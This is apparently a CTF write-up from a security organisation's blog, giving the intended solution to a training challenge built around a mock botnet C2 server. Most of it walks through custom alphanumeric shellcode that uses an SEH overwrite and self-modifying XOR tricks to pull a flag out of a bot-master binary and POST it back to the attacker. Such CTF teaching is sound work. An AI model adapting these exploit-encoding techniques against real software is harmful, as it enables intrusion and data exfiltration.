TISC 2021 Challenge 10 Partial Walkthrough— Malware for UwU

CSIT tech blog
Published in
12 min readMar 31, 2022


Many CTF challenges tend to focus on a specific domain, and the motivation behind Malware for UwU was to create a CTF challenge that represented a “real life” problem faced in the infosecurity profession, spanning across several traditional CTF domains (minus steganography). Often, defenders and threat researchers triaging compromised machines find malware planted by threat actors, which might be an implant that polls back to a C2 Server.

We might have obtained the implant and reverse engineered it, observed its polling and other features. However, we have no control nor knowledge of how the “C2 server” behaves, short of observing the communications between the two or by sending messages to the C2 Server and seeing how it reacts. Under these circumstances, can we employ the captured malware in a useful manner to further investigate the C2 Server’s functionality, or even identify and triage other victims of the malware? This was the thinking behind the challenge.

Or, if you attended the Cyberthon 2021, this could have been the actual inspiration behind the challenge:

The Challenge: Malware for UwU

In line with the PALINDROME theme and with this concept in mind, we painted a scenario of an evil PALINDROME server, operating as the C2 of a botnet. The distributed “malware” would communicate to this C2 Server, in order to register, send and receive “commands”. The participant would have to hack into the C2 Server and retrieve a copy of the malware for analysis, reverse engineer it, and to inspect its communication with the C2 Server. This would give enough information to allow the participant to send a malformed command (ie, exploit) to another identical copy of the malware in order to get the flag from it.

Of course, we would pepper the entire challenge with UwU bird jokes. Things like “UwUser Agent”, “UwUID”, the C2 Server as the “birdwatcher, the C2 admin username as “laojiao-c2admin”, the botmasters as “Big Birds”, the seed for the XOR key as “birdseed” and so on. And definitely, add actual sound clips of koels to complete the UwUnique experience.

We wanted our TISC finishers to be all-round experts in the various areas of infosecurity, as well as being capable programmers in general. Certain portions of the challenge would involve the automation of exploitation, and some amount of creativity to solve in an efficient manner. For most part, spaceraccoon’s excellent write-up covers the solution to this challenge.

However, the intended solution for the shellcode component takes a very different approach from spaceraccoon. The exploitation of the binary was intended to be simple and straightforward. However, the coding of the payload was intended to challenge the participant’s ability to develop shellcode creatively. The rest of the article simply aims to present the intended solution to the challenge, while pointing out some shellcode encoding tricks. The reader can read both write-ups and determine which is an “easier solution” :)

Sub-challenges leading up to the Shellcoding Portion

If you haven’t read spaceraccoon’s writeup, the participant would have to overcome a gauntlet of annoying sub-challenges. These sub-challenges were heavily modified from our Basic Cyber Course training programme, with added difficulty and complexity. In a nutshell:

  • Exploiting a second-order, boolean blind SQL injection to locate and reset the admin’s password in order to download the binary
  • Reverse engineering the binary to unpack and disarm the anti-debugging mechanisms
  • Investigating the binary’s communications with the C2 Server to break the XOR cipher encrypting the UwUID assigned to the participant’s IP address
  • Enumerating the C2 Server to discover the range of permissible bytes for the shellcode (ascii range, with arbitrary bad characters:\x00 \x25 \x26 \x2b )

Our objective would thus be to craft shellcode to exploit one of the bot masters connecting to the C2 Server.

At this point, it may be tempting to start crafting shellcode, but there is still uncertainty of how the bot masters are configured, from a networking perspective. The only piece of information known is that the bot masters periodically communicate with the C2 Server to receive messages. Hence, there is no guarantee of being able to catch a traditional reverse shell from the bot masters.

A safe way to approach, avoiding the uncertainty, would be to see if we can subvert the bot master binary’s functionality to locate the flag in memory, and send the flag to us. With this idea in mind, we can now speedrun through the analysis and solution…

UwUseful Functions and Where to Find Them

With this plan in mind, we need to first find the flag in memory. We know that there’s a function to show the flag:

With the unpacked binary and some static analysis, we can identify the function in ida…

…and see where the xrefs come from:

And we can find the function that decrypts and prints out the flag at sub_557551b0 , with the flag string appearing in memory at 0x557629f0 :

Assuming we have already registered ourselves with the C2 Server, the next function we need is something that we can leverage to make some sort of network connection. 2. Send Message seems promising:

The corresponding static analysis is simple enough (even though the function is pretty lengthy), showing the formation of a HTTP request and the eventual CALL:

Setting a breakpoint at call sub_557517f0, the relevant pointers on the stack looks like these:

Besides the content on the stack, there are other parameters that need to be settled: the port 18080, which is stored in EDX, and the value at esp+5c needs to be > 10 for the http request to take in the POST data (for the later cmovnb at 0x5575182D).

High-level overview for the exploit

Finally, we can formulate a plan of attack. We will send a message that causes an SEH overwrite. A pop pop ret will take us to the shellcode. After landing on our shellcode, the address of our shellcode can be found on the stack, 3 POPs to reach. For shellcode manipulation purposes, we will use EBX to hold pointers to the shellcode, and we can use EAX as a general-purpose register. As we’ve enumerated earlier, these manipulations are necessary because the C2 Server only allows the ASCII byte range, with some bad characters.

The shellcode itself can therefore be structured as follows:

  1. Perform manipulations on the existing shellcode to craftsend.php and the C2 Server IP
  2. Set up the appropriate pointers in ESP
  3. Decrypt and append the revealed flag at the end of the crafted POST request
  4. Handle the esp+5c needing to be > 10 and the port (EDX= 46a0)
  5. Perform minor manipulations on the crafted POST request (eg, create the “&”, since “&” is a badchar)
  6. JMP 55754420 (a nice addr without badchars), which will call sub_557517f0, with all our stack parameters in place
  7. The POST request that the bot master will make — essentially action=send$a=[ourUUID]+$b=UwU. We need to use a “$” because “&” is a badchar, and we will eventually use the shellcode to replace it

So, let’s get to work :)

Manipulation with a rolling XOR

Generally, without constraints, we could happily write whatever shellcode we want, set up the stack in any way we wish, and so on. However, in this case, besides the limitations in the character set, we also have space limitations. Participants might be tempted to use encoders such as the x86/alpha_mixed from msfvenom, but this would just generate oversized shellcode. Thus, some custom encoding will be needed.

ADD and SUB are actually usable in this situation. However, for this exercise, we’ll cover XOR, as the XOR opcodes have the added benefit of actually being alphanumeric, as compared to ADD and SUB. Conceptually, we’ll do the following:

  1. Make EAX into a value that we need (by XORing too, perhaps)
  2. XOR [location],EAX in order to craft what we need.
  3. Repeat until all the stack values are crafted

So in our case, the first 9 bytes of our payload will be:

payload  = ""
payload += "\x5b\x5b\x71\x04" # pop ebx twice and jno 0x6
payload += "\x19\x65\x75\x55" # the pop pop ret address
payload += "\x5b" # pop ebx again

After this, EBX points to the start of the shellcode, and we can set the value of EAX and XOR [EBX],EAX:

payload += "\x35\x74\x5b\x02\x04" # EAX = 745b0204
payload += "\x31\x03" # 5b5b7104 -> 2f007300 (/.s.)

And we can continue doing this a few more times:

payload += "\x35\x08\x3e\x19\x51" 
payload += "\x31\x43\x04" # e.n.
payload += "\x35\x43\x50\x41\x0e"
payload += "\x31\x43\x08" # d...
payload += "\x35\x4d\x31\x03\x58"
payload += "\x31\x43\x0c" # p.h.
payload += "\x35\x37\x0c\x67\x1a"
payload += "\x31\x43\x10" # p...

The result of this, is a crafted and null-terminated widechar/send.php , right at the start of our controlled buffer. We can write the desired IP address in the same way:

payload += "\x35\x25\x39\x4d\x1d" 
payload += "\x31\x43\x14" # 1.0.
payload += "\x35\x7b\x72\x11\x45"
payload += "\x31\x43\x18" # ..2.
payload += "\x35\x27\x72\x13\x49"
payload += "\x31\x43\x1c" # 2.2.
payload += "\x35\x27\x7c\x72\x0b"
payload += "\x31\x43\x20" # ..2.
payload += "\x35\x71\x7c\x72\x0f"
payload += "\x31\x43\x24" # 2.2.
payload += "\x35\x71\x06\x4f\x6b"
payload += "\x31\x43\x28" # ..2.
payload += "\x35\x33\x06\x4c\x77"
payload += "\x31\x43\x2c" # 2.1.
payload += "\x35\x1d\x14\x4b\x5d"
payload += "\x31\x43\x30" # ....

And this is the result:

Rolling XOR decoding

But, is there a better way to do this? Definitely. Instead of the rolling XOR approach, we could just write a loop to iterate through the stack and XOR the values in the stack to get the \x00 byte? For example,

push 0x34                      # zero EDX
pop eax
xor al,0x34
push eax
pop edx # EDX = 0
push 0x34 # stack param size, and the XOR key
pop eax
xor dword ptr [ebx+edx],eax
inc edx
cmp edx,eax # loop until the stack params are
jnz -0x6 # all XORed

This gives shellcode of: \x6a\x34\x58\x34\x34\x50\x5a\x6a\x34\x58\x31\x04 \x13\x42\x39\xc2\x75\xf8 . This has bad characters in the shellcode: \xc2 and \xf8 . How can we write these characters then? Let’s continue on with the next portion of the shellcode…

Setting up the appropriate pointers for ESP

In order to write shellcode with bad characters, we can again use the XOR approach, ADD or SUB too, in order to manipulate the yet-to-be-executed shellcode. But first, we need to set up pointers in ESP first, and to also get EBX ready to point to downstream locations beyond EIP:

payload += "\x35\x21\x25\x39\x4d" # EAX = 14
payload += "\x01\x44\x24\x14" # [ESP+14] is now at the IP addr
payload += "\x53" # [ESP] is now at /send.php and payload += "" # [ESP+18] is now at the IP addr
payload += "\x04\x3c" # EAX = 50
payload += "\x53"
payload += "\x01\x04\x24"
payload += "\x5b" # EBX is now sc+50
payload += "\x31\x4c\x24\x48" # zero [ESP+48]
payload += "\x31\x5c\x24\x48" # [ESP+48] is incremented to
payload += "\x01\x44\x24\x48" # eventually point at the
payload += "\x01\x44\x24\x48" # send parameters of the POST

At the end of this, the relevant pointers on the stack are in place for our eventual “send” request:

Stack parameters all in place

Decrypt and append the revealed flag to the POST parameters

Now we need to trigger a CALL EAX, where EAX is the function call to decrypt the flag. Unfortunately, CALL EAX is \xff\xd0. Remember we mentioned we wanted to write shellcode with bad characters? How can we do this?

Instead of operating on the stack with XOR/ADD/SUB to get the values we want (previously, we wanted null bytes), we can perform the same principles on the opcode ahead of EIP, in order to change the instructions. For example, we can perform the CALL as follows:

payload += "\x05\x60\x51\x75\x55" # EAX = 557551b0
payload += "\x66\x01\x43\x4a" # add word ptr [EBX+46],AX
payload += "\x4f\x7f" # becomes ff d0 (CALL EAX)

And this is the result:

Set up EAX = 557551b0 (EAX = 50 from the previous step)
b051 + 4f7f = ffd0 (CALL EAX)

So now, with the flag string appearing in memory, we can resort to a REP MOVSB instruction to get the string to the POST request. We need ECX = 1c for the length of string (based on the placeholder flag), ESI = 557629f0 for the source, and EDI = 18fddc for the destination. And naturally, since REP MOVSB forms opcode with badchars (\xf3\xa4), we have to resort to similar tricks to change the instruction. The shellcode is now:

payload += "\x6a\x6c\x58" # EAX = 6c
payload += "\x53"
payload += "\x01\x04\x24"
payload += "\x01\x04\x24"
payload += "\x5f" # EDI = 18fddc
payload += "\x6a\x1c\x59" # ECX = 1c
payload += "\x2c\x71" # EAX = fb
payload += "\x35\x0b\x29\x76\x55" # EAX = 557629f0(flag location)
payload += "\x50\x5e" # ESI = 557629f0

Now, we plan to do this REP MOVSB twice, to really ensure all the flag characters land up in the POST request. So we preemptively PUSH ECX and ESI and continue on…

payload += "\x51\x56"         # PUSH ECX and ESI for pops laterpayload += "\x66\x2d\x41\x41" # EAX = afe87655payload += "\x31\x43\x6f"     # XORs to get the 1st REP MOVSB
payload += "\x31\x43\x73" # XORs to get the 2nd REP MOVSB
payload += "\x5c\x4c\x28\x0c" # REP MOVSB; POP ESI; POP ECX
payload += "\x5c\x4c\x77\x11" # REP MOVSB; and set up [ESP+5c]
payload += "\x24\x5c" # > 10 - for later CMOVB

The result:

Prior to XORs
After XORs, the REP MOVSB instructions are formed
Flag string appended twice to the POST request

Fix up the POST Request

Almost there! First, we need to get the EBX to the POST payload for later (because we’ve run out of space), and also, we need to settle EDX = 46a0 for the port.

payload += "\x6a\x70"           # push 70
payload += "\x01\x1c\x24" # add to [ESP]
payload += "\x5b" # POP, and EBX = POST req location
payload += "\x6a\x50\x58" # EAX = 50
payload += "\x66\x05\x50\x46" # EAX = 46a0
payload += "\x50\x5a" # EDX = 46a0

Now, we just need to change the $'s in the POST request to &'s (since the & is a badchar)

payload += "\x6a\x02\x58"  # EAX = 2
payload += "\x01\x43\x3b" # change the 1st $ to &
payload += "\x01\x43\x62" # change the 2nd $ to &

Do the JUMP!

With everything in place, the final thing we need to do, is to JMP to the address we identified earlier (55754420) to trigger the CALL sub_557517f0 :

payload += "\x68\x20\x44\x75\x55"       # push the address
payload += "\x58" # EAX = 55754420
payload += "\x29\x43\x28" # SUB to get JMP EAX
payload += "\x75\x36" # becomes ff e0 (JMP EAX)

And if all this worked out, the binary should spit out the flag (due to the decryption and display subroutine), and then crash after making the POST request to /send.php.

Which means, we can start the binary again, and receive our message :)

Naturally, it crashes again, but we can see our flag string! The final shellcode is shown below (paste it into your favourite disassembler):


Running the exploit against the Big Bird Botmasters

All that’s left to do, is to target a Botmaster’s UwUID, and launch the exploit:

The aftermath and epilogue

PALINDROME is foiled again! After realising the malware can be subverted and exploited in more ways than one, the shady organisation pulls the remaining copies of the malware offline, and disables the C2 Servers. However, even with the C2 Servers offline, intrepid investigators are able to deduce some of the functionality, based on the operation of the reverse-engineered binaries, and probes of the C2 Servers during the investigation period. In fact, an experimental C2 Server has already been set up, and together with the binaries already in the wild, they are repurposed as training exercises… perhaps in an upcoming Cyberthon…

While the solution to Malware for UwU does not incorporate any particularly advanced exploitation techniques, the intent is to provide a “real world” sort of experience to a CTF challenge. Often, there is a great deal of uncertainty in the infosecurity profession, and we may have to come up with innovative solutions (beyond what we can find on the Internet) to either reduce the uncertainty, or to work with it. Again, kudos to spaceraccoon for finding an alternate solution, and we hope that this challenge write-up will encourage more people to level up their skills and participate in TISC next year.